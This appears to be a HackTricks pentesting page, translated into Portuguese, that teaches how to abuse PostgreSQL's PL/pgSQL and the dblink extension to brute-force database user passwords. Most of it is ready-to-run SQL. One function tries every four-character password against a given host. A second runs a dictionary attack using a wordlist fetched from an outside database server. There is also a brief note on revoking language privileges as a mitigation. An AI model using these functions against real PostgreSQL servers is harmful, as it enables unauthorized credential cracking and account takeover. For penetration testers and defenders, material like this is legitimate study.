PL/pgSQL Password Bruteforce

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Encontre mais informaçÔes sobre esses ataques no artigo original.

PL/pgSQL é uma linguagem de programação totalmente funcional que vai além das capacidades do SQL, oferecendo controle procedural aprimorado. Isso inclui a utilização de loops e vårias estruturas de controle. FunçÔes criadas na linguagem PL/pgSQL podem ser invocadas por instruçÔes SQL e gatilhos, ampliando o escopo de operaçÔes dentro do ambiente de banco de dados.

VocĂȘ pode abusar dessa linguagem para pedir ao PostgreSQL que faça brute-force das credenciais dos usuĂĄrios, mas elas devem existir no banco de dados. VocĂȘ pode verificar sua existĂȘncia usando:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql |

Por padrão, criar funçÔes é um privilégio concedido ao PUBLIC, onde PUBLIC se refere a todos os usuårios desse sistema de banco de dados. Para evitar isso, o administrador poderia ter revogado o privilégio de USAGE do domínio PUBLIC:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

Nesse caso, nossa consulta anterior retornaria resultados diferentes:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin}

Observe que para o seguinte script funcionar a função dblink precisa existir. Se nĂŁo existir, vocĂȘ pode tentar criĂĄ-la com

sql
CREATE EXTENSION dblink;

Força Bruta de Senha

Aqui estĂĄ como vocĂȘ poderia realizar uma força bruta de senha de 4 caracteres:

sql
//Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Note que até mesmo a força bruta de 4 caracteres pode levar vårios minutos.

VocĂȘ tambĂ©m pode baixar uma lista de palavras e tentar apenas essas senhas (ataque de dicionĂĄrio):

sql
//Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' -- Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks